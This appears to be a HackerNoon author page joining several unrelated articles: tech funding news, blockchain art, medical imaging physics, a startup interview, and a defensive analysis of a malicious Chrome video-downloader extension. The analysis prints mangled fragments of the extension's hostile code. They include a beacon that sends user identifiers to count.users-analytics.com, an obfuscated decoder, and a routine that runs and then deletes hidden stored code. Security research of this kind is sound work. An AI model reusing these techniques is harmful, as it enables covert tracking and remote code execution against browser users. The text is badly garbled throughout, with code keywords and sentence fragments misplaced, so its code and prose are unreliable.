PetPedia

petpedia

LegalTech-project Tax Sketches has attracted a round of $ 1 million from a private angel investing in fintech and legal tech projects. The Tax Sketches team is building an algorithmic international tax planning platform.  The core of the platform is made up of algorithms for modeling corporate structures and a library of data received from contributors - tax and corporate lawyers and accountants from Europe, USA, CIS countries, Africa and Asia. Tax Sketches has 3 founders - Tatiana Vasilyeva, Vladimir Mologa and Vladislav Spiridonov. We would like to tell you briefly about their experience. Tatiana Vasilyeva is the CEO of the project.  Tatiana is an international lawyer with 20 years of experience in legal practice.  At one time, Tatiana was part of the famous Russian tax team "Pepeliaev Group" and led landmark tax litigations.  In 2010, Tatiana moved to Prague and created her own consulting agency Baseley & Partners.  The agency developed international tax structures for IT companies of Russian origin, including operating unicorns. Vladimir - CTO of the project.  Vladimir has 8 years of experience in IT.  Prior to joining Tax Sketches, Vladimir carried out full cycle project management in e-commerce, including management of software development and product implementation on the market. Vladislav - CPO of the project.  Vladislav has a legal and project background.  He structured the work of the Russian carsharing service with clients.  In 2019, Vladislav moved to the Czech Republic and managed international projects in a consulting company in the field of tax planning, regulatory requirements for IT companies, licensing and legal binding of crypto businesses. This is the third round of Tax Sketches.  In the beginning, the project was funded by the team.  After the creation and testing of the MVP, the project received the first injections from business angels, the penultimate round was in the spring of 2021. The platform will be monetized through b2b and b2c subscription models and referral rewards. The team believes that platform-generated anti-avoidance structure compliance reports can become the gold standard for KYC/AML, and want to ensure that "verifying by Tax Sketches" structures are accepted as KYC-compliant by payment institutions.

Tax Sketches Raises $1m in Funding to Build the Future of Legal Tech

The meme economy is real and it’s here to stay. Blockchain opens up a world of opportunities for new ways to transact, sign, and store information. While the majority of the population has heard about CryptoKitties, there is much more to the story than simply a game to breed cute kitties. Blockchain technology is bringing the meme economy to reality. Generally speaking, creative products like memes, art, and music struggle with publishing content on the internet without worry of piracy. Once content is copied and distributed for free, the value drops and the prospect of a market for that product disappears. For these digital products to build and retain value, they need to be defined by scarcity. Blockchains like Counterparty and Ethereum help solve this problem for digital art by providing a way to determine and agree upon scarcity. These tools create a platform to issue limited supplies of artwork by putting ownership on the blockchain, which creates globally agreed upon scarcity of these assets. Check out PepeDapp — Rare Pepe Cards on the Ethereum blockchain _Rare pepes on the Ethereum blockchain_www.pepedapp.com PepeDapp - Rare Pepes on ETH Benefits of art on the blockchain: **Authentication:**The artist/creator can “sign” transactions as they are added to the blockchain, allowing for digital artwork to carry the artist’s signature, effectively serving as authenticity verification. **Digital Automation:**The process of creating and selling art on the blockchain creates new paradigms for automating commision. On the blockchain, artists can prove they created a meme and be paid for its use, allowing for ongoing commissions through smart contract automation. Artists can issue limited supplies of artwork. The number associated with a piece can be tracked on a decentralized ledger (blockchain). Once a supply of an artwork has been issued to the blockchain, the supply cannot be changed. Supply: **Ownership:**What you own is held by you and only you. As long as you have the private key to the asset, you are the owner. **Global:**Empowered by the internet, artists can participate and sell their work on a global marketplace. **Decentralized:**Tools and guidelines are designed to reduce the power of gatekeepers and middlemen and increase the autonomy of artists. **Privacy:**Use of pseudonyms allows artists to create and sell art while staying anonymous, allowing them to create without judgement. Digital art is often valued for its relevance and ability to spread quickly. Now with the capacity to create, edition, and sell art in a digitally native manner, memes and art can capture current events and be shared in real time. Dank AF: **Censorship Resistant:**Once artwork is published, it cannot be deleted. This digital art revolution is already taking place. A Rare Pepe Card, digital trading cards issued on the Counterparty protocol, Homer Pepe sold for $35,000. As of May 2018, 367,286 CryptoKitties have been sold at an average price of $65. Check out PepeDapp — Rare Pepe Cards on the Ethereum blockchain _Rare pepes on the Ethereum blockchain_www.pepedapp.com PepeDapp - Rare Pepes on ETH Follow me on twitter Josh Petty

Digital Art on the Blockchain 🎨

Written by Judy Gichoya and Alexandre Cadrin-Chênevert recenty directed a post to us from one of the fast.ai student asking about housefield units conversion for MRI. Jeremy Howard Question This post summarizes an overview of the physics of image formation for MRI and CT scans to help understand the concept of intensities and mapping For the impatient reader, answered this question Alexandre Cadrin-Chênevert If this of interest then read on…. What is a modality ? Radiology relies on various types of cameras (or ) — that work differently to capture images from patients. These include ultrasound , Computed Tomography (CT scan), Magnetic Resonance Imaging (MRI), PET/CT , and plain Xray. Yes, think of the various modalities related to the different camera types for medical imaging. In the picture below, you can see the appearance of the liver across different cameras (modalities) modalities Liver images aquired through ultrasound Images of the liver / upper abdomen acquired from an MRI CT scan images of the upper abdomen including liver How are MRI images formed? MRI physics can be summarized as . signal generation , image formation and sequences A: Signal Generation Our bodies are made largely of water (72% of our bodies are made up of water). Water is composed of 2 Hydrogen molecules and 1 oxygen molecule (H20). This translates to a large amount of hydrogen molecules in our bodies. Hydrogen is a chemical element with an atomic number 1 (H+). Water composition in the human body The MRI machine is a big strong magnet (and the unit Tesla is used to signify the strength of the main magnet). When you are sitting at the core of the MRI machine for example for a Head MRI , then most of the hydrogen atoms in your body align to the direction of the main magnet (b0). This is called longitudinal magnetizaton. At rest, all your hydrogen atoms are spinning on their axis — Watch the video tagged below to learn about precession Since we know the main magnet strength (B0), then we can calculate Lamor frequency which can be used to generate signal to the hydrogen atoms that in precession. lamor frequency In the figure above, the H+ are at a precession frequency of 64 MHz evenly distributed across the magnetic field. The knowledge of the precession frequencies allows us to focus on a section of the body eg abdomen by shifting the magnetic field so we can apply a signal to a specific group of atoms rotating at a predetermined frequency. In addition to the main magnetic field, the MR machine has a radiofrequency (RF) signal that is applied perpedicular (90 degrees) to the main magnet and flips the hydrogen atoms to 90 degrees relative to the main magnet. I like to think of this as the process of tuning in to the radio where you are always looking for a specific frequency. This is called . The hydrogen atoms continue their precession, but also lose energy to go to a lower energy state (in the direction of the main magnet). transverse magnetization The above steps are summarized below …. Recap of signal generation As the hydrogen atoms lose energy to align themseves to the direction of the main magnet ( ), the signal they generate can be captured and plotted as a curve shown below. This curve is used to determine the — longitudinal relaxation T1 time T — T1 time which is the time require for protons to recover 63% of their longitudinal magnetization. T1 — time required for protons to recover 63% of their longitudinal magnetization Different body tissues will have different T1 times , and hence when you look at an MRI , you can identify fat (short T1) versus CSF. Difference in T1 curves across various tissues Another phenomenon that is occuring after the 90 degrees RF is summarized below. The hydrogen atoms are in phase at the beginning of the 90 degree RF pulse, but they undergo a spin -lattice interaction and get out of phase. If you plot this curve of , then you get a free induction decay T2* curve. T2 * curve T T2 time — is the time required for protons to lose 63% of their transverse magnetization. Now that we have explained T1 and T2 signals, we will move on to an example of meningioma to help understand the MR signals. Please note physics MR is a wide topic and we have not described concepts like diffusion , echo, gradient and TOF sequences,as well as artifacts . works by shifting the T1 curve to the left (shortens the T1 curve). Contrast Meningioma on MR In the above image, the left image is and the meningioma is difficult to identify. After administration of IV contrast (gadolinium), the T1 curve of meningioma shifts to the left and is seen as an enhancing lesion on the right image. T1 weighted image, CT physics — Hounsfield units (HU) CT images are not developed based on the hydrogen magic for MR. Instead , they use Xrays, a form of radiation focussed on part of the body being imaged. Different parts of the body (weaken) the Xray beam at different rates. Therefore to standardize the different values of attenuation, the is used to measure how easily a beam penetrates a a material. Since we know the attenuation of water to be zero, then the HU is calculated relative to water. attenuate attenuation coefficient HU calculation Therefore by measuring a region of interest, you can calculate the HU of a lesion and determine what it is — for example a fat containing lesion or a fluid containing lesion as a cyst. http://www.odec.ca/projects/2007/kimj7j2/index_files/Page1674.htm Tying it together (Deep Learning) Image segmentation is the process of drawing contours of an object to delineate its boundaries. In medical imaging, segmentation allows surface or volumetric quantification of a lesion or an anatomic structure. To train this kind of model, you need to show multiple images iteratively to the model with the associated segmented areas, often drawn manually by radiologists. U-Net is a specialized deep learning model architecture that allows automatic segmentation. U-Net: Convolutional Networks for Biomedical Image Segmentation From : U-Net: Convolutional Networks for Biomedical Image Segmentation ( ) https://arxiv.org/pdf/1505.04597.pdf U-net is designed intrinsically to perform very well with a small number of training cases. The architecture progressively encodes the initial image in a numerically squeezed representation, literally at the bottom of the U. Then, this bottom representation is decoded symmetrically to generate the automatic segmented area, also defined as a mask, as the final output. The training is optimized to minimize the difference between the proposed segmented area with the manually segmented ground-truth area. This property that allows an efficient training with a very small number of cases is particularly useful in medical imaging where expert manual segmentation is very costly. For meningioma segmentation, this technique could intuitively be tried on a post-gadolinium MRI sequence which is the sequence with the according to this pathology (i.e. meningiomas typically show avid enhancement, and bright signal, relative to the background). highest signal to noise ratio Hopefully this clarifies the idea of signals across CT and MR and helps you on your deep learning path. Consider joining our community that intersects radiology and imaging sciences with deep learning scientists here : . https://tribe.radai.club We discuss deep learning on our monthly journal club archived here : . Our next journal club is on 22nd February , 8 pm EST with a presentation from on — https://youtu.be/xoUpKjxbeC0 Timnit Gebru “Using deep learning and Google Street View to estimate the demographic makeup of neighborhoods across the United States” https://register.gotowebinar.com/register/8696551324404512003 Say thanks and references Numerous images of physics lecture were obtained from one of my best teachers at — Indiana University Radiology Department Dr. Isaac Wu Read more about MR physics here — MRI made easy

Physics for the deep learning computer vision expert

“‘Better social media’ is the new category.” Okay, sounds like some far-fetched idea from a Silicon Valley CEO that is about to pour millions of dollars into the next , even though they are so removed from the average user experience they wouldn’t understand why an edit button is needed. Twitter Wait, that was a 16-year-old that hasn’t finished high school yet!? When I sat down for in October to talk to Spencer and Sophia Rascoff, a father and daughter duo that mixes an impressive resume with impressive ideas, I didn’t know what I was in for. Success Story I assumed it would be Spencer driving the conversation — after all, he is a co-founder of Zillow, Hotwire, and a handful of other successful startups. But it was Sophia, his incredibly articulate daughter that had me scribbling quotes and advice. They have recently launched which is what they call a “vertical social media network.” That’s something focused on a single space (in this case, food), instead of a broad reach, and it just might be the next evolution of how we interact online. Recon Food, Teenaged success story “I’ve had a few lemonade stands.” That’s Sophia again with a perfect one-liner to explain her experience at such a young age. She’s not your average 16-year-old. In middle school, she decided to start an entrepreneurship program based on the kinds that are in high schools and colleges. She is a recipient of the President’s Volunteer Service Award, a leader in the Latin American/Hispanic Student Organization, and has taught herself software development on the side. She’s not even a senior yet. It helps to have a dad with such a strong resume. Spencer went from Goldman Sachs to private equity, founding Hotwire, working for Expedia, launching Zillow, and on and on. He created (and taught) the Harvard Business School course , and now hosts his successful podcast on the dot.LA network (which he also founded). Managing Tech Ventures If you are thinking that Sophia might take over the world, you’re right. But after talking to her for a little while, there might not be any better hands to put it in. Don’t mix your cupcakes with climate change So what does it mean to evolve social media? The Rascoffs aren’t trying to create a new . They aren’t trying to outdo . While those platforms chase down broad engagement and encourage outrage, she just wants to share photos of her favorite food. Instagram Facebook It’s not that simple, but it kind of is, too. I’ll let Spencer explain: “We baked cupcakes this weekend, right? And posted them on Recon Food. But Instagram was pretty heavy on Sunday. When you were making those cupcakes, there were a lot of terrible things happening in the world. Recon Food is meant to be a respite from all of that, and bring social media back to when it wasn’t the noisy, scary place that it is today.” If that seems like pie-in-the-sky thinking (sorry for the pun), it’s not. It’s what teenagers, like Sophia and her friends, are looking for. When internal documents from Facebook were leaked, an internal research presentation “Teens blame Instagram for increases in the rate of anxiety and depression. This reaction was unprompted and consistent across all groups.” included a slide that stated The data continued to show how much the big platforms were harming young people (young girls especially), as they felt immense pressure to post regular content and fight for likes. Stressors, not depressors When Spencer explained that posts on Instagram to do with climate change, the Ukraine war, or gun violence in schools depresses him, Sophia jumped on to identify a key generational gap that is being overlooked. “I describe it as more of a stressor than a depressor. It makes me sad, I guess, but it makes me way more stressed than sad because it’s about the future. Something that weighs on me is this idea of having to fix these problems, or at least having my generation fix these problems.” It’s something that I hadn’t ever considered. How differently a 15 or 16-year-old kid would feel about something like climate change, knowing that — as Spencer tragically put it — “if their generation doesn’t fix it, we’re all doomed as a planet.” For so many users that are arguing on social media today, there isn’t the built-in pressure of having to fix the problem. It can just be a topic to yell about or regurgitate talking points within your echo chamber. Vertical-driven socials So what is the answer? In their minds, it’s to “reduce the noise” and to think of social media as a vertical, instead of horizontal, platform. Focus on a specific category or topic and don’t let it spread beyond that. In their case it is food, but they were quick to point out some other examples. LinkedIn has built a vertical platform based solely on career growth. Strava is one based on running and cycling. Alltrails, for hiking. This is why it can be called evolution, not necessarily an outlier. The next wave of platforms is already on its way, Sophia and Spencer are just leading the charge. If that’s the case, then there will be readers of this article that want to know: how do you do it? How do you build that next evolution and successfully roll it out? Well, they were kind enough to share some wisdom. Building community Everything always comes back to community. Every startup, every brand, and every marketplace always needs to create loyalty and investment from its users. For Recon Food, that means four key methods Iteration There is nothing worse than a stagnant service. If you are trying to build a community, you have to serve your existing users first. That means frequently iterating on your product or service, whether it’s adding new features, fixing bugs, or simply changing the design. The key is to show that you are constantly listening to feedback and trying to improve the user experience. By having their suggestions heard and implemented, you’ll create evangelists for your product — ones who will go out and spread the gospel to others. PR Listen, even in today’s age you still need a good PR game. That’s why I could book the Rascoffs for Success Story, and why you’ll probably see them in some other publications going forward. If you’re not constantly selling your story, then you’re not doing enough. Make sure everyone on your team is aware of your community efforts and can speak to them confidently. In-person events But even if you are the co-founder of a billion-dollar company, there’s still room for showing up at a trade show and shaking some hands. When it comes to community, you need to put a face to the name. That’s why in-person events are so important for startups. It could be as simple as attending a meetup or throwing an event. But whatever you do, make sure you show up and represent your company well. Convert existing groups There are already probably thousands upon thousands of people in the world that are using a group chat to share pictures of food. They’ve created their own small-scale social media platform and housed it in another service. If you can target those people, and show them that there is someone out there building something that specifically meets their needs, you can poach them from the existing group and get them invested in your own. Doing this will also give you access to their network, which could be full of other potential users for your product or service. Interestingly, Sophia also pointed out an unexpected factor that has inhibited Recon’s growth. People like anonymity on social media, at least when they are so used to the angry shouting matches on other platforms. It sometimes leads to users consciously not sharing it with their friends, as they would rather get feedback on their recipes and photos from someone they didn’t know. To get around this, you’ll have to build trust over the long haul and show them that it’s safe to bring people they know into the sphere — there won’t be any political arguments here. Topic-specific features “Instagram’s never going to build a run-tracking feature because that’s not what their app is for. But that is what Strava is for.” Next on the list after building community is creating features that won’t be found elsewhere. These are topic-specific things that don’t belong on other platforms but can add value to the vertical you are chasing. For Recon, it’s recipes, restaurant maps, and food collections. The possibilities here are endless because so are the topics. Cater to your audience, not the whole world. Optimize for enjoyment While the broad social media apps are just trying their best to keep you from moving on, the next era will be focused on giving you the best experience. Sophia, again, puts it perfectly: “It’s such a powerful tool to connect people across borders, across countries, across worlds. There’s such potential there, but the way that it’s currently being implemented and executed is not it. It’s not maximized for user success and enjoyment. It’s maximized for clicks, likes, views, and time spent on app.” Make them love to be there, not scared to leave. Audience first, monetization later In terms of building it into a business, Spencer is clear about one thing. Don’t worry about monetization until you’ve secured your audience. There will be ways to make money down the line, but if you’re building something with that in mind from the start, you’ll fall into the same habits that so many others have. Final thoughts That’s enough to fill an entire podcast but I touched on so much more with Spencer and Sophia. The challenges of balancing school and business, the importance of continued education, the benefits (and challenges) of working with a family member, and what characteristics make the best startup CEOs. If you want to hear the entire discussion, head over to the and marvel at one of the next generation of business leaders. Success Story YouTube channel That’s it for this week, talk soon! Also published here.

Optimizing for Positivity: Niches and the Future of Social Media

Showing Video Ads in React Native - Part 2: Android (including Audio Play)

Chrome extensions have always been a major selling point for the browser. However, some developed them to snoop on everyday users. Since Chrome v9, Chrome extensions have been a core part of the browser’s functionality powered by the browser’s comprehensive extensions API. The sheer size of the Chrome Web Store with over 190,000 extensions/web apps and over 1.2 billion installs is a testament to how successful this launch was. Extensions add a wide range of possible capabilities and can be installed in seconds from the Chrome Web Store. Some extensions such as LastPass, uBlock Origin, Tampermonkey, and more have enjoyed immense success on the platform. Smaller independent developers, like myself, are also able to develop themes and extensions all with a one-time payment of $5 to register as a developer. This allowed my high school self to launch a theme called which has over 300,000 users around the world. Material Dark Despite these benefits, the platform has become a to perform spying and phishing attacks. According to , Chrome makes up roughly 70% of today’s browser market share. Chrome’s large user base allows attackers to consolidate their attacks on Chrome itself. Also, browsers like Edge and many other can install malicious extensions through the Chrome store. prime attack vector for hackers Statista Chrome clones Throughout the years, there is more and more evidence that malicious Chrome extensions pose a larger threat to users. In 2015, Google from their store. In 2020, we still face a similar issue where this time, . It seems that thwarting all possible malicious extensions is a never-ending race. removed over 200 ad injecting extensions attackers are going after our browsing behaviors Attackers employ a range of strategies to lure unsuspecting users into their trap. The most basic types of attacks on the Chrome store are extensions that pose as other legitimate extensions out there such as . Higher level attacks include injecting advertisements into a page, redirecting users to phishing sites, tracking user browsing behavior, stealing user credentials from sites, mining Bitcoin, and more. Despite Chrome’s more rigid enforced a couple of years ago, these malicious attacks can very well still occur if a loophole is found. Snapchat for Chrome Content Security Policy This extension is a grim reminder that we live in a world where over 10,000 people think Facetime is available on Chrome. Today, attackers have gotten more crafty with their attacks. Popular extensions with a large and trusting community are now sometimes sold to those who have harmful intentions. Attackers can modify the source to include malicious code. Thanks to feature for extensions, the now harmful extension can reach most Chrome users in days. A notable example of this is . Chrome’s Autoupdate NanoAdblocker Most of the articles written regarding the latest batch of banned extensions have been quite shallow, so I hope this series of blog posts will help shed some light on what these extensions are doing with your browsing data. First Look: Vimeo Video Downloader On November 19th, 2020, security researchers in Cz.nic, a domain registration company for .cz domains, discovered extensions that were . Avast confirmed were also tracking browsing behavior upwards of 3 million users and redirecting users based on the current website they are trying to access to monetize traffic. According to Avast's post, covertly tracking browsing habits 28 more extensions the virus detects if the user is googling one of its domains or, for instance, if the user is a web developer and, if so, won't perform any malicious activities on their browsers. It avoids infecting people more skilled in web development, since they could more easily find out what the extensions are doing in the background. As an example, I will be analyzing for this series of blog posts. Vimeo™ Video Downloader As of 12/18, this extension was no longer available to be downloaded from the Chrome Web Store, but we can still see the stats . In the final days of the extension’s existence, it was able to rack up 4.77 stars with 766 reviews and 510,424 total weekly users. This by no means was an unpopular extension and it is probably not the last we will see of these malicious extensions. here Installation Disclaimer: I am by no means a security researcher or even an expert. I just happen to have an affinity for studying vulnerabilities and this is my experience in stepping through what the extension does. I do not encourage people to obtain a copy of these extensions without taking the necessary precautions (use a virtual machine, a VPN, edit hosts list to allow/block ingress and egress to malicious hosts, etc.) To install, you will have to enable in chrome://extensions and click on Load Unpacked if you have an unzipped copy of the extension. However, this is not enough since Chrome will disable the extension after a couple of minutes. To fix this, you need to change the ID of the Chrome extension. This can be done by removing the key and fields in manfiest.json. Once that’s done, perform the first step again and the extension should be loaded with a brand new ID. developer mode differential_fingerprint Initial Look at the Code Given that the extension was flagged, I was curious to see the code that got this flagged in the first place. One tool that is great for viewing the source of Chrome extensions without having to download it is . If you already have the source, any editor like VSCode would work just as well, if not better. CrxViewer To remove any liability of me “distributing” code that can be used for bad intentions, I will not be providing the full source. You, the reader, have full liberty to seek it for yourself. 😎 Wait, where’s the link to the code? Running yields the following directory structure: tree .
├── css
│   ├── content.css
│   ├── popup.css
│   └── thankyou.css
├── fonts
│   ├── ...
├── img
│   ├── ...
├── js
│   ├── bg_script.js
│   ├── jquery.js
│   ├── popup.js
│   ├── thankyou.js
│   ├── tippy.all.js
│   └── vimeo_com.js
├── _locales
│   ├── ...
├── manifest.json
├── popup.html
└── thankyou.html

52 directories, 84 files The part of the source I will focus on is the folder, which is the meat of the extension. js Manifest File A glance at the extension’s manifest file should give us some hint as to what this extension can do. The first section I looked into was the section since background scripts are typically responsible for what is run inside the extension window itself. Strangely, the flag is set to , which according to Chrome’s documentation, means the extension uses the . To give the creator the benefit of the doubt, let's say this API is used for fetching the videos to be downloaded rather than pinging some remote server. background persistent true chrome.webRequest API : { : , : [ , ]
} "background" "persistent" true "scripts" "js/jquery.js" "js/bg_script.js" In the content_scripts section, it states that the script will execute for all frames in the page using and . These files will most likely be responsible for the functionality of the extension itself, which is to fetch all videos on a given page and their download URLs. jquery.js vimeo_com.js : [ { : , : [ ], : [ , ], : [ ], : } ], "content_scripts" "all_frames" true "css" "css/content.css" "js" "js/jquery.js" "js/vimeo_com.js" "matches" "*://*.vimeo.com/*" "run_at" "document_end" Moving onto the next section, the extension’s (content security policy) dictates what the script and cannot do to help prevent things such as XSS attacks. What is a big red flag in this extension that is allowed is using the eval function by including the flag in the field. According to , the inclusion of should’ve flagged this extension for manual review, but somehow it still made it to the Chrome store. Some info I found about the review process can be read . CSP unsafe-eval content_security_policy this StackOverflow question unsafe-eval here : , "content_security_policy" "script-src 'self' https://*.vimeo.com 'unsafe-eval'; object-src https://*.vimeo.com 'self'" The last notable section is the key in the manifest file. permissions : [ , , , , , , ] "permissions" "webRequest" "storage" "tabs" "downloads" "" "management" "cookies" Some points of interest include the fact that the extension can send web requests, read your tabs, read your downloads, execute on any page (from rule), read all your extensions, and all your cookies for any page. <all_urls> bg_script.js As stated above, the one thing that seemed suspicious was the fact that the background script was set to be persistent, which is usually not the case in many extensions. With this in mind, the question becomes, what requests could the extension possibly need to make? Upon loading the file, the code is an absolute hot mess. However, it’s not something any JS beautifying tool can’t fix. Starting from the top, one block of code stood out in particular. One of the registered handlers listened to responses sent from a server defined in and all the response headers greater than 20 chars in length were saved in local storage. x[2] chrome.webRequest.onCompleted.addListener( {
    a.responseHeaders.forEach( {
        a.value && a.value.length > && (localStorage[a.name.toLowerCase()] = a.value)
    })
}, { : [ + x[ ] + ], : [ ]
}, [ ]), ( ) function a ( ) function a 20 urls "*://" 2 "*" types "image" "responseHeaders" A quick search to find what got pushed into array x shows that we are listening to a domain called . To me, this was a very strange URL for anyone to use to get extension usage analytics. This was certainly not something associated with Google Analytics. count.users-analytics.com C = {
    x.push(y), x.push(E); a = ;
    x.push(a)
}, ( ) function var "count.users-analytics.com/" Nothing really useful came out of trying to find out the WHOIS information for the domain itself. The only piece of info that could be useful is its 2020–12–03 15:27:18 UTC registration date, indicating it was very recent. Out of curiosity, I pinged users-analytics.com and received no response. However, actually did return a response in the form of a 1x1 GIF. At first, I wasn’t sure why a GIF was returned but then it hit me that this acts as a . In short, a tracking pixel is a technique used by websites to see if users loaded an email, webpage, etc. It usually is in the form of a 1x1 GIF which makes it invisible to the typical user. count.users-analytics.com tracking pixel Now to me, this doesn’t seem to be too big of an issue since this is the same technique employed by Google, Facebook, Microsoft, etc. for their trackers. However, it is sending information to some unknown domain which is very suspect. The URL requested is in the form of: https://count.users-analytics.com/count.gif?_e_i=downl-imeo&ed_=aaaaaaaabci&_vv=1.1.9&r=0.0001&_l=en-US&_k=br&t=1600000000000&_idu=5wxzrw3585ososi1 Query parameters have been edited for privacy. To summarize the query parameters (important ones at least): and other variants - the identifier for the extension being used which is randomly chosen. _e_i https://gist.github.com/f5ba4f20d6e5c4e27fd9866e5bde0729 and other variants - the version of the extension. _vv and other variants - some random value from . r Math.random() https://gist.github.com/cb2bf2f0ffed68e29ea9e606643513c1 and other variants - your locale. _l and other variants - timestamp the extension was installed. t and other variants - an identifier that identifies you as the user. This ID is first generated when you install the extension and is stored within Chrome’s storage API. _idu https://gist.github.com/1d88557ff674dda6e1bbed9901b1a47e The request to this dingy analytics domain is triggered within this function . t { b = Image,
        c = .random();
    c += , c > ? b.src = [ , m(), k(), l(), i(), n(), j(a), p()].join( ).replace( , ) : b.src = [ , x[ ], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join( ).replace( , )
} ( ) function t a var new Math 1 2 "https://www.google-analytics.com/_utm.gif?" "" /&$/ "" "https://" 2 "" /&$/ "" Notice how the Google Analytics URL is also shown, but don’t let that fool you. If you read this carefully, you’ll see that the condition is always false. starts as a number from 0 (inclusive) to 1 (exclusive). The code subsequently adds 1, but the resulting value is never greater than 2. A request will always be made to the URL stored in , which is . How cheeky. c > 2 c x[2] counter.users-analytics.com { b = Image,
        c = .random(); c += ; (c > ) {
        b.src = [ , m(), k(), l(), i(), n(), j(a), p()].join( ).replace( , )
    } {
        b.src = [ , x[ ], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join( ).replace( , )
    }
} // Better Readability ( ) function t a var new Math // 0 <= c < 1 1 // 1 <= c < 2 if 2 "https://www.google-analytics.com/_utm.gif?" "" /&$/ "" else "https://" 2 "" /&$/ "" Strange String Function The script also adds a new function for strings that does some form of manipulation or encoding. .prototype.strvstrevsstr = { a = ; .length % != && (a += .slice( , - .length % )), a = atob(a.replace( , ).replace( , )); b = (a[ ] + a[ ], ),
        c = (a[ ], );
    a = a.substr( ); d = (a); (a = a.substr(( + d).length + ), d != a.length) ; ( e = [ .fromCharCode], f = ; f < a.length; f++) e.push(a.charCodeAt(f)); ( g = [], h = b, i = ; i < e.length - ; i++) { j = e[i + ] ^ h;
        i > c && (j ^= e[i - c + ]), h = e[i + ] ^ b, g.push(e[ ](j))
    } g.join( );
} String ( ) function var this this 4 0 "===" 0 4 this 4 /\-/g "+" /_/g "/" var parseInt 0 1 16 parseInt 2 16 3 var parseInt if "" 1 return null for var String 0 for var 0 1 var 1 1 1 0 return "" Obviously, someone doesn’t want people like me to be snooping around their extension. Without actually using this extension, we won’t know what this is used for other than how it is called in some parts of the code. gets invoked if we can find a string that is greater than 10 chars in length in the string stored in local storage with the key (for some reason now it filters for 10 chars rather than 20 as stated earlier). The header , but nothing stops a bad actor from inserting additional information into the field, like an encoded string. Without running the extension, it isn’t too clear what is going on with this function. What we can tell from reading this code is that once e is decoded in some form with and parsed as a JSON object, its object entries are written to window. A gets set to true to possibly indicate that this step has been completed. strvstrevsstr cache-control cache-control typically holds these values strvstrevsstr getMediaPath: { a = .localStorage; (a[ ]) { b = a[ ].split( ); { c; ( d b) { e = b[d].trim(); (!(e.length < )) { (c = e.strvstrevsstr(), c = != && .parse && .parse(c), c && c.cache_c) { ( f c) [f] = c[f];
                        A = ! ; }
                } (g) {}
            }
        } (g) {} .setMediaPath()
    }
} ( ) function var window if "cache-control" var "cache-control" "," try var for var in var if 10 try if "undefined" typeof JSON JSON JSON for var in window 0 break catch catch this Subsequently, is called as part of some callback to store something into local storage with the key . setMediaPath cfg_audio_id setMediaPath: { != jj && jj && uu && gg > jj && [jj][gg](uu, { b = ;
        localStorage[b] = a
    })
} ( ) function "undefined" typeof window ( ) function a var "cfg_audio_id" Hit and Run Function Interesting how this function seems to call something using whatever that is stored in cfg_audio_id and then deleting it right after. findDetails: { ( != ee) { a = ;
        localStorage[a] && [ee](localStorage[a]); localStorage[a];
    }
} ( ) function if "undefined" typeof var "cfg_audio_id" window delete Tracing the callers shows that is called as part of some callback function with a delay of . findDetails 1500ms {
    b.url && (b.url.indexOf( ) > && chrome.tabs.sendMessage(a, ), A || (setTimeout( {
        D.findDetails();
    }, ), .trace( ), B.getMediaPath()))
} ( ) function e a, b, c "vimeo.com" -1 "url_changed" ( ) function 1500 console 'set' According to , the event fires whenever any of the following changes: Chrome’s documentation onUpdated If these findings tell us anything, it’s that the extension is trying to execute some code whenever the tab gets updated. Once executed, it deletes itself to hide from the user. This Extension Has Friends Normally, sometimes extensions will disable themselves if it encounters another extension it does not mesh well with. In the extension code itself, we see that there is a whole list of extension ids that would cause this extension to stop working and alert the user that a conflict exists. J = [ , , , , , , ]; chrome.management.getAll( {
    a.forEach( { === a.type && a.enabled && J.indexOf(a.id) > && (v = ! )
    })
}) var "phpaiffimemgakmakpcehgbophkbllkf" "ocaallccmjamifmbnammngacjphelonn" "ckedbgmcbpcaleglepnldofldolidcfd" "ejfanbpkfhlocplajhholhdlajokjhmc" "egnhjafjldocadkphapapefnkcbfifhi" "dafhdjkopahoojhlldoffkgfijmdclhp" "lhedkamjpaeolmpclkplpchhfapgihop" // Other malicious extensions ( ) function a ( ) function a "extension" -1 0 Most likely this is included to not obstruct other extensions that are also doing the same malicious deed. I took a look at the list of extension ids and it seems that they are all Vimeo video downloaders that have either been removed from the Chrome Web Store or are continuing to infect users. connect: { b = ,
        c = .activeList,
        d = a.sender.tab.id;
    c[d] = .activeList[d] || {}, c[d][a.name] = a, a.onDisconnect.addListener( { c[d][a.name], == .keys(c[d]).length && c[d]
    }), a.onMessage.addListener( { == a.action && (b.addVideo(d, c.name, a.found_video), u(d, b.getVideos(d).length), I.newVideoFound(a.found_video))
    }), v && a.postMessage( ) }, ( ) function a var this this this ( ) function a delete 0 Object delete ( ) function a, c "video_found" "conflict_exists" // Received by content script run: { .port = chrome.runtime.connect({ : .random().toString()
    }), .port.onMessage.addListener( { === b && (a.videoFeed.btnClassNameConflict = )
    }), .mutationMode.enable()
}, // vimeo_com.js (content script) ( ) function this name Math this ( ) function b, c "conflict_exists" "exist_conflict_btn" this Other Scripts The other scripts did not seem to have anything too out of the ordinary that could be malicious. For now, I will skip talking about these. Closing Thoughts When I first tested this extension with minimal and basic usage, it seems like nothing was inherently wrong. The extension worked as stated. Initially, the red flags that caught my eye were the tracking pixel requested from an unknown host and the scrambled code intended to mislead any user like me. I wasn’t entirely sure if the extension was banned purely for the reason of having a tracking pixel residing in an unknown domain. There had to be more to it that warranted its expulsion from the Chrome Web Store. Looking closer at the code revealed that something was being executed on tab update events. But what is it? Thanks for reading! 💎 Thank you for taking the time to check out this post. For more content like this, head over to my actual . Feel free to reach out to me on and follow me on . blog LinkedIn Github

Stories, News & Mentions about PETPEDIA

Petpedia’s Stories on HackerNoon